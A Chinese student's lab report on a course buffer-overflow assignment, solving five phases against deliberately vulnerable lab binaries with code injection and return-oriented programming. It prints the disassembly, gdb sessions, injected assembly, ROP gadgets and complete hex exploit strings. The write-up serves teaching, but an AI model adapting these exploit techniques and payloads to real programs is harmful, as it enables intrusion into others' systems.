北京郵電大學

实验报告

题目：缓冲区溢出攻击

班　　级：2022211320

学　　号：2022211683

姓　　名：张晨阳

学　　院：计算机学院（国家示范性软件学院）

2023 年 12 月 1 日

一、实验目的

1.理解C语言程序的函数调用机制，栈帧的结构。
2.理解 x86-64的栈和参数传递机制
3.初步掌握如何编写更加安全的程序，了解编译器和操作系统提供的防攻击手段。
4.进一步理解 x86-64机器指令及指令编码。

二、实验环境

1.Linux
2.Objdump命令反汇编
3.GDB调试工具
4.Windows PowerShell（10.120.11.12）

三、实验内容

登录 bupt1服务器，在 home 目录下可以找到一个 targetn.tar 文件，解压后得到如下文件：
README.txt；
ctarget；
rtarget；
cookie.txt；
farm.c；
hex2raw。

ctarget 和 rtarget 运行时从标准输入读入字符串，这两个程序都存在缓冲区溢出漏洞。通过代码注入的方法实现对 ctarget 程序的攻击，共有3关，输入一个特定字符串，可成功调用 touch1，或 touch2，或 touch3就通关，并向计分服务器提交得分信息；通过 ROP 方法实现对 rtarget 程序的攻击，共有2关，在指定区域找到所需要的小工具，进行拼接完成指定功能，再输入一个特定字符串，实现成功调用 touch2或 touch3就通关，并向计分服务器提交得分信息；否则失败，但不扣分。因此，本实验需要通过反汇编和逆向工程对 ctraget 和 rtarget 执行文件进行分析，找到保存返回地址在堆栈中的位置以及所需要的小工具机器码。实验2的具体内容见实验2说明，尤其需要认真阅读各阶段的 Some Advice 提示。

本实验包含了5个阶段（或关卡），难度逐级递增。各阶段分数如下所示：

Phase	Program	Level	Method	Function	Points
1	CTARGET	1	CI	touch1	10
2	CTARGET	2	CI	touch2	25
3	CTARGET	3	CI	touch3	25
4	RTARGET	2	ROP	touch2	35
5	RTARGET	3	ROP	touch3	5

CI: Code injection
ROP: Return-oriented programming

四、实验步骤及实验分析

准备工作

- 首先通过命令 `tar -xvf target517.tar` 解压得到 6 个文件：

```
2022211683@bupt1:~$ tar -xvf target517.tar
target517/README.txt
target517/ctarget
target517/rtarget
target517/farm.c
target517/cookie.txt
target517/hex2raw
```

图1-解压文件

- 阅读所给材料，了解注意事项：
  - CTARGET 和 RTARGET 都采用几个不同的命令行参数：
    -h: 打印可能的命令行参数列表
    -q: 本地测评，不要将结果发送到评分服务器
    -i FILE: 提供来自文件的输入，而不是来自标准输入的输入

阶段一

- 该阶段的任务是将 `getbuf` 函数的返回值指向函数 `touch1`，首先反汇编 `test` 和 `getbuf`：

```
Dump of assembler code for function test:
=> 0x0000000000401b28 <+0>:     sub    $0x8,%rsp
   0x0000000000401b2c <+4>:     mov    $0x0,%eax
   0x0000000000401b31 <+9>:     callq  0x40194f <getbuf>
   0x0000000000401b36 <+14>:    mov    %eax,%edx
   0x0000000000401b38 <+16>:    mov    $0x403388,%esi
   0x0000000000401b3d <+21>:    mov    $0x1,%edi
   0x0000000000401b42 <+26>:    mov    $0x0,%eax
   0x0000000000401b47 <+31>:    callq  0x400e00 <__printf_chk@plt>
   0x0000000000401b4c <+36>:    add    $0x8,%rsp
   0x0000000000401b50 <+40>:    retq
End of assembler dump.
```

图2-test函数

```
Dump of assembler code for function getbuf:
=> 0x000000000040194f <+0>:     sub    $0x28,%rsp
   0x0000000000401953 <+4>:     mov    %rsp,%rdi
   0x0000000000401956 <+7>:     callq  0x401bf1 <Gets>
   0x000000000040195b <+12>:    mov    $0x1,%eax
   0x0000000000401960 <+17>:    add    $0x28,%rsp
   0x0000000000401964 <+21>:    retq
End of assembler dump.
```

图3-getbuf函数

- 分析图 3 可知：`getbuf` 分配了**40 个字节**的栈帧，随后将栈顶位置作为参数调用 `Gets` 函数，读入字符串，然后正常返回，跳转到 test 函数继续执行。
- 接下来查看 `touch1` 函数的**起始地址**：

```
(gdb) break touch1
Breakpoint 3 at 0x401965: file visible.c, line 27.
```

图4-touch1函数地址

- `touch1` 函数的起始地址为 401965；
- 由上述代码可知，我们只需要修改 `getbuf` 结尾处的 `ret` 指令，将其指向 `touch1` 函数的起始地址 401965 就可以；
- 要想将其准确指向 401965，要首先将 `getbuf` 的 40 字节内容填充满，**使其溢出**，再将 401965 **覆盖 `getbuf` 原来的返回地址**即可。
- 创建一个 level1. txt 文档存储输入。并按照 `HEX2RAW` 工具的说明，采用小端存储并在每个字节间用空格或回车隔开。
- 攻击字符串如下：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
65 19 40 00 00 00 00 00
```

图5-level1 攻击字符串

- 执行攻击命令：`./hex2raw < level1.txt | ./ctarget`
- 攻击成功：

```
2022211683@bupt1:~/target517$ ./hex2raw < level1.txt | ./ctarget
Cookie: 0x79ca372f
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

图6-level1 攻击成功

阶段二

- 根据实验提示的内容，本阶段我们需要将 `cookie` 识别码注入到 `touch2` 函数中，并使函数返回之后转而执行 `touch2` 函数而不是返回继续执行 `test` 函数；
- 题目建议我们不使用`jmp`和`call`指令进行代码跳转，也就是说，只能通过在栈中保存目标代码的地址，然后以`ret`的形式进行跳转；
- 先查询 `touch2` 函数的地址：

```
(gdb) break touch2
Breakpoint 1 at 0x401999: file visible.c, line 43.
```

图7-touch2函数地址

- 发现 `touch2` 函数的地址在 `0x401999`；
- 再查看 `cookie` 的值为 `0x79ca372f`

```
2022211683@bupt1:~/target517$ cat cookie.txt
0x79ca372f
```

图8-cookie的值

- 返回 `touch2` 函数的操作与阶段一类似，接下来考虑如何将 `cookie` 识别码注入到 `touch2` 函数中；

- 首先分析 `ret` 指令：其相当于指令 `pop %rip`，其中 `%rip` 时刻指向将要执行的下一条指令在内存中的地址，即把栈中存放的地址弹出作为下一条指令的地址；
- 故利用 `push` 和 `ret` 就能实现指令转移，**思路如下：**
  - 首先，通过字符串输入把 `caller` 的栈中储存的返回地址改为注入代码的存放地址；
  - 然后，执行代码：
    - 先将第一个参数寄存器修改为 `0x79ca372f`；
    - 在栈中压入 `touch2` 代码地址；
    - `ret` 指令调用返回地址，即 `touch2`；
- 有了上述思路，可以先写出需要执行的代码：

```
movq $0x79ca372f, %rdi
pushq $0x401999
ret
```

图9-注入的代码

- **接下来确定注入代码段的地址：** 代码应该存在 `getbuf` 分配的栈中，地址为 `getbuf` 函数中的栈顶；
- 利用 `gdb` 在 `getbuf` 分配栈帧后打断点，查看**栈顶指针**的位置；

```
(gdb) si
14      in buf.c
(gdb) disas
Dump of assembler code for function getbuf:
   0x000000000040194f <+0>:     sub    $0x28,%rsp
=> 0x0000000000401953 <+4>:     mov    %rsp,%rdi
   0x0000000000401956 <+7>:     callq  0x401bf1 <Gets>
   0x000000000040195b <+12>:    mov    $0x1,%eax
   0x0000000000401960 <+17>:    add    $0x28,%rsp
   0x0000000000401964 <+21>:    retq
End of assembler dump.
(gdb) p/x $rsp
$1 = 0x55681c88
```

图10-栈顶指针位置

- `0x55681c88` 便是我们应该修改的返回地址。
- 将上述代码保存在文件 `level2.s` 中，再使用如下命令：

```
gcc -c level2.s
objdump -d level2.o > level2.d
```

图11-反汇编注入代码

- 得到字节级表示：

```
level2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 2f 37 ca 79    mov    $0x79ca372f,%rdi
   7:   68 99 19 40 00          pushq  $0x401999
   c:   c3                      retq
```

图12-注入代码字节级表示

- 将这段代码放到 40 个字节中的开头，代码地址放到末尾。于是得到攻击输入为：

```
48 c7 c7 2f 37 ca 79 68
99 19 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 1c 68 55 00 00 00 00
```

图13-level2 攻击输入

- 执行攻击命令：`./hex2raw < level2.txt | ./ctarget`
- 攻击成功：

```
2022211683@bupt1:~/target517$ ./hex2raw < level2.txt | ./ctarget
Cookie: 0x79ca372f
Type string:Touch2!: You called touch2(0x79ca372f)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

图14-level2 攻击成功

阶段三

- 本阶段与阶段二类似，不同点在于传的参数是一个**字符串**；
- 观察 `hexmatch` 函数的代码：

```
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}
```

- 注意到第 6 行，`s` 的位置是**随机**的，我们写在 `getbuf` 栈中的字符串很有可能被覆盖，一旦被覆盖就无法正常比较；
- 因此，考虑把 `cookie` 的字符串数据存在 `test` 的栈上，其它部分与阶段二相同即可。
- 文件中的建议还提到注入的代码应该将寄存器 `%rdi` 设置为**该字符串的地址**。
- **思路简述：**
  - `getbuf` 执行 `ret`，从栈中弹出返回地址，跳转到我们注入的代码；
  - 代码执行，先将存在 `caller` 的栈中的字符串传给参数寄存器 `%rdi`，再将 `touch3` 的地址压入栈中；
  - 代码执行 `ret`，从栈中弹出 `touch3` 指令，成功跳转。
- 根据以上思路，查找 `test` 栈顶指针位置以及 `touch3` 函数的地址：

```
(gdb) b touch3
Breakpoint 2 at 0x401ab2: file visible.c, line 75.
(gdb) r
Starting program: /students/2022211683/target517/ctarget
Cookie: 0x79ca372f

Breakpoint 1, test () at visible.c:95
95      visible.c: No such file or directory.
(gdb) si
97      in visible.c
(gdb) disas
Dump of assembler code for function test:
   0x0000000000401b28 <+0>:     sub    $0x8,%rsp
=> 0x0000000000401b2c <+4>:     mov    $0x0,%eax
   0x0000000000401b31 <+9>:     callq  0x40194f <getbuf>
   0x0000000000401b36 <+14>:    mov    %eax,%edx
   0x0000000000401b38 <+16>:    mov    $0x403388,%esi
   0x0000000000401b3d <+21>:    mov    $0x1,%edi
   0x0000000000401b42 <+26>:    mov    $0x0,%eax
   0x0000000000401b47 <+31>:    callq  0x400e00 <__printf_chk@plt>
   0x0000000000401b4c <+36>:    add    $0x8,%rsp
   0x0000000000401b50 <+40>:    retq
End of assembler dump.
(gdb) p/x $rsp
$1 = 0x55681cb8
```

图15-栈顶指针及touch3地址

- 由图 15 可知：`0x55681cb8` 就是**字符串存放的位置**（建议中提到：注入的代码应该将 `%rdi` 设置为该字符串的地址），也是调用 `touch3` 该传入的参数；以及 `touch3` **函数的地址**为 `401ab2`；
- 故写出注入代码并存入 `level3.s` 文件：

```
movq $0x55681cb8, %rdi
pushq $0x401ab2
ret
```

图16-注入代码

- 与阶段二相同，获取其字节级表示如下：

```
2022211683@bupt1:~/target517$ gcc -c level3.s
2022211683@bupt1:~/target517$ objdump -d level3.o > level3.d
2022211683@bupt1:~/target517$ cat level3.d

level3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 b8 1c 68 55    mov    $0x55681cb8,%rdi
   7:   68 b2 1a 40 00          pushq  $0x401ab2
   c:   c3                      retq
```

图17-获取注入代码的字节级表示

- 还需将 `cookie 0x79ca372f` 作为字符串转换为 ASCII：`37 39 63 61 33 37 32 66`；
- 注入代码段的地址与阶段二一样：`0x55681c88`
- 由于在 `test` 栈帧中多利用了一个字节存放 `cookie`，所以本题要输入 **56 个字节**：注入代码的字节表示放在开头，41-48 个字节放置注入代码的地址用来覆盖返回地址，最后八个字节存放 `cookie` 的 ASCII 。于是得到如下攻击输入：

```
48 c7 c7 b8 1c 68 55 68
b2 1a 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 1c 68 55 00 00 00 00
37 39 63 61 33 37 32 66
```

图18-攻击输入

- 执行攻击命令：`./hex2raw < level3.txt | ./ctarget`
- 攻击成功：

```
2022211683@bupt1:~/target517$ ./hex2raw < level3.txt | ./ctarget
Cookie: 0x79ca372f
Type string:Touch3!: You called touch3("79ca372f")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

图19-level3 攻击成功

第四阶段和第五阶段要求我们使用 ROP 攻击来完成实验。

阶段四

- 阶段四的任务与阶段二相同，都是要求返回到 `touch2` 函数，阶段二中用到的注入代码为：

```
movq $0x79ca372f, %rdi
pushq $0x401999
ret
```

图20-阶段二注入的代码

- 很明显，不可能找到带特定立即数的 `gadget`，只能采用别的办法，**思路如下**：
  - `getbuf` 执行 `ret`，从栈中弹出返回地址，跳转到我们的 `gadget1`；
  - `gadget1` 执行，将 `cookie` 弹出，赋值给 `%rax`，然后执行 `ret`，继续弹出返回地址，跳转到 `gadget2`；
  - `gadget2` 执行，将 `cookie` 值成功赋值给寄存器 `%rdi`，然后执行 `ret`，继续弹出返回地址，跳转到 `touch2`。
- 上述思路用到的两个 `gadget` 为：

```
popq %rax
ret
-----------------
movq %rax, %rdi
ret
```

- 接下来需要找到这两个 `gadget`；
- 通过查表可知：`pop %rax` 表示为 `58`，`movq %rax, %rdi` 表示为 `48 89 c7`；
- 使用命令 `objdump -d rtarget > rtarget.s` 得到 `rtarget` 汇编代码及字节级表示；
- 使用 vi 的查找命令，先查找 `58`：

```
0000000000401b57 <setval_246>:
  401b57:       c7 07 89 c9 58 90       movl   $0x9058c989,(%rdi)
  401b5d:       c3                      retq
```

图21-查找gadget1

- 得到 `popq %rax` 指令地址为 `0x401b5b`；
- 再查找 `48 89 c7`：

```
0000000000401b5e <addval_344>:
  401b5e:       8d 87 48 89 c7 90       lea    -0x6f3876b8(%rdi),%eax
  401b64:       c3                      retq
```

图22-查找gadget2

- 得到 `movq %rax, %rdi` 指令地址为 `0x401b60`；
- 其中 `90` 表示“空”，可以忽略。
- 故可以写出攻击输入序列：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
5b 1b 40 00 00 00 00 00
2f 37 ca 79 00 00 00 00
60 1b 40 00 00 00 00 00
99 91 40 00 00 00 00 00
```

图23-level4 攻击序列

- 执行攻击命令：`./hex2raw < level4.txt | ./rtarget`
- 攻击成功：

```
2022211683@bupt1:~/target517$ ./hex2raw < level4.txt | ./rtarget
Cookie: 0x79ca372f
Type string:Touch2!: You called touch2(0x79ca372f)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

图24-level4 攻击成功

阶段五

- 本阶段的任务与阶段三相同，都是要求返回到 `touch3` 函数，并且传入一个和 cookie 一样的字符串。
- 阶段三中用到的注入代码为：

```
movq $0x55681cb8, %rdi
pushq $0x401ab2
ret
```

图25-阶段三注入代码

- 但在本阶段中，栈是随机化的，并不能直接把 `cookie` 存放在栈中，只能通过操作 `%rsp` 的值来改变位置，然后根据偏移量来确定 `cookie` 的地址。
- 但查表发现，并没有可以实现加法的 gadget，分析观察 gadget farm 发现其自带一条实现 `%rsp` 偏移的指令：

```
0000000000401b93 <add_xy>:
  401b93:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  401b97:       c3                      retq
```

图26-实现%rsp偏移的gadget

- 命名为 `gadget0`（便于后续使用），该 gadget 地址为 `401b93`；

- 我们可以通过这个函数来实现加法，因为 `lea (%rdi,%rsi,1) %rax` 就是 `%rax = %rdi + %rsi`。所以，只要能够让 `%rdi` 和 `%rsi` 其中一个保存 `%rsp`，另一个保存偏移值，就可以表示 `cookie` 存放的地址，然后把这个地址 `mov` 到 `%rdi` 即可。
- 经过查表发现：从 `%rax` 并不能直接 `mov` 到 `%rsi`，而只能通过 `%eax->%ecx->%edx->%esi` 来完成。所以，把 `%rsp` 存放到 `%rdi` 中；把偏移值存放到 `%rsi` 中。
- 然后，再用 `lea` 那条指令把这两个结果的和存放到 `%rax` 中，再 `movq` 到 `%rdi` 中即可。
- 给出具体输入 gadget 指令及其表示：

```
movq %rsp, %rax             //48 89 e0  gadget1   401bb5
movq %rax, %rdi             //48 89 c7  gadget2   401b60
popq %rax                   //58        gadget3   401b5b
偏移值
movl %eax, %ecx             //89 c1     gadget4   401c35
movl %ecx, %edx             //89 ca     gadget5   401bd6
movl %edx, %esi             //89 d6     gadget6   401c07
lea (%rsi, %rdi, 1) %rax    //           gadget0   401b93
movq %rax, %rdi             //48 89 c7  gadget2   401b60
touch3
cookie
```

- 分别查找上述各 gadget 的地址，查找过程如下：
- `gadget0` 地址为 `401b93`
- `gadget1` 地址为 `401bb5`

```
0000000000401bb3 <setval_467>:
  401bb3:       c7 07 48 89 e0 c3       movl   $0xc3e08948,(%rdi)
  401bb9:       c3                      retq
```

图27-gadget1 地址

- `gadget2` 地址为 `401b60`

```
0000000000401b5e <addval_344>:
  401b5e:       8d 87 48 89 c7 90       lea    -0x6f3876b8(%rdi),%eax
  401b64:       c3                      retq
```

图28-gadget2 地址

- `gadget3` 地址为 `401b5b`

```
0000000000401b57 <setval_246>:
  401b57:       c7 07 89 c9 58 90       movl   $0x9058c989,(%rdi)
  401b5d:       c3                      retq
```

图29-gadget3 地址

- `gadget4` 地址为 `401c35`

```
0000000000401c33 <addval_148>:
  401c33:       8d 87 89 c1 84 db       lea    -0x247b3e77(%rdi),%eax
  401c39:       c3                      retq
```

图30-gadget4 地址

- `gadget5` 地址为 `401bd6`

```
0000000000401bd5 <getval_349>:
  401bd5:       b8 89 ca 90 c3          mov    $0xc390ca89,%eax
  401bda:       c3                      retq
```

图31-gadget5 地址

- `gadget6` 地址为 `401c07`

```
0000000000401c04 <addval_270>:
  401c04:       8d 87 85 89 d6 c3       lea    -0x3c29767b(%rdi),%eax
  401c0a:       c3                      retq
```

图32-gadget6 地址

- 故最终攻击序列为：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b5 1b 40 00 00 00 00 00
60 1b 40 00 00 00 00 00
5b 1b 40 00 00 00 00 00
48 00 00 00 00 00 00 00
35 1c 40 00 00 00 00 00
d6 1b 40 00 00 00 00 00
07 1c 40 00 00 00 00 00
93 1b 40 00 00 00 00 00
60 1b 40 00 00 00 00 00
b2 1a 40 00 00 00 00 00
37 39 63 61 33 37 32 66
```

图33-level5 攻击序列

- 执行攻击命令：`./hex2raw < level5.txt | ./rtarget`
- 攻击成功！

```
2022211683@bupt1:~/target517$ ./hex2raw < level5.txt | ./rtarget
Cookie: 0x79ca372f
Type string:Touch3!: You called touch3("79ca372f")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

图34-level5 攻击成功

五、总结体会

本次实验花费时间较多，大约有九个多个小时，其中阶段五就占了四个小时左右。但经过本次实验，我对函数的调用与执行过程有了更深刻的理解，比如指针的存放、函数的返回、参数的传递等等方面。这次实验印象最深的就是不断试错的过程。在上一次 lab 2 中，由于采取的是基于错误次数的计分方式，我的每次尝试都异常谨慎，担心有哪一次操作失误导致不必要的错误。但是在这次的 lab 3 中，我必须不断尝试不同的攻击代码的设计，虽然仍可以使用 gdb 的逐步执行来分析，但是由于过于复杂，并不可行。而且要实现的功能实际上是确定的，不像 lab 2 中，每一关具体的原理是未知的。所以，对于 lab 3 实验来说，尝试是非常重要的，

有些时候只是想，并不能代替真正的实践。在 part 1 中，我在设计完攻击代码之后，总是反复检查，确认设计的攻击代码确实可行之后，才将其输入到 target 中。

在技术层面，让我印象最深的就是查找 gadget，尤其是最后一个阶段，需要对照相应的指令在所有可用的 farm 中寻找 gadget，然后记录下它们的地址。有时候当前指令不可行，还要抛弃上一个已经选中的指令并选择新的指令，这个不断试错过程非常花费时间。

最重要的是，我学会了检查自己思路步骤、细节对比、冷静之后再尝试这些操作：在阶段五中，因为一不小心将后续操作 `gadget2` 写成了 `gadget1`，导致一直无法通过，但一开始并未发现该错误，而是一直对比自己是否是 gadget 的地址找错了，浪费了大量的时间，整个人也十分急躁，后来放下该工作一段时间，做了别的事情之后再回来检查，一步一步重新推导错误根源，最终发现这看似微不足道的却致命的错误，并很快改正了。我觉得这也是我这次实验最大的收获：当一个困难一直无法解决的时候，不妨放下他做其他事情，等完全冷静地重新面对他时，反而能有不同的思路。

虽然最后一个阶段只有五分，也纠结过花费这么多时间在这五分上值不值得，但最终看到完成全部实验任务之后的“100”分，心情其实是很激动的，很庆幸自己没有过于功利地放弃它，也许这就是学习的成就感吧，不断促使着自己努力克服一个又一个困难。

意见和建议：希望那个实时榜单上可以提供一点信息提示：比如提交了输入，终端显示 `Nice job!`，但榜单上却显示 `invalid`，希望可以直接在那个网站上写出该显示是什么原因或什么意思，可以大大减少学生不明所以胡乱修改的时间。